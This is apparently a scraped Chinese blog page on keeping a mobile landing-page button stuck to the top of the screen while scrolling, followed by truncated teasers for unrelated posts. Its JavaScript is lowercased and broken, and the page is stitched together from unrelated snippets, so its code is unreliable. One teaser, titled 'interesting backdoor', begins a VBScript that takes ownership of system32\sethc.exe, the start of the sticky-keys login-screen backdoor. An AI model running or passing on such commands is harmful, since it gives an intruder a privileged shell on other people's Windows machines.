現在多數移動端網頁有些按鈕需要吸頂,尤其是落地頁,按鈕的吸頂有助於得到更多的註冊量
其實大多思路都沒得錯,多數是記錄吸頂元素距離頂部距離然後監聽滾動事件,獲取當前滾動高度,然後和 記錄的距離相比較
let viewtop =
this
.$refs.ele.
getboundingclientrect()
.top
let scrollheight = ***
scrollheight > viewtop ? 吸頂 : 取消吸頂
通常記錄滾動高度是有相容的,寫的太煩了
let scrollheight =
window.pageyoffset || document.documentelement.scrolltop ||document.body.scrolltop ||
0
換個思路,需求是這樣的,當某按鈕沒有出現在頁面的可視區域內,此時會出現吸頂,保證在可視區域中,那麼我們其實只需要知道它 (按鈕),是不是在可視區中就可以了
window.
onscroll=(
)=>
ele.getboundingclientrect().top,會返回距離頁面頂部的距離,當頁面滾動時,會不斷減小,當消失在頁面中時,距離也就變成了負值,因此直接判斷它距離頂部是否小於0即可 有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...
有意思的遞迴
先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...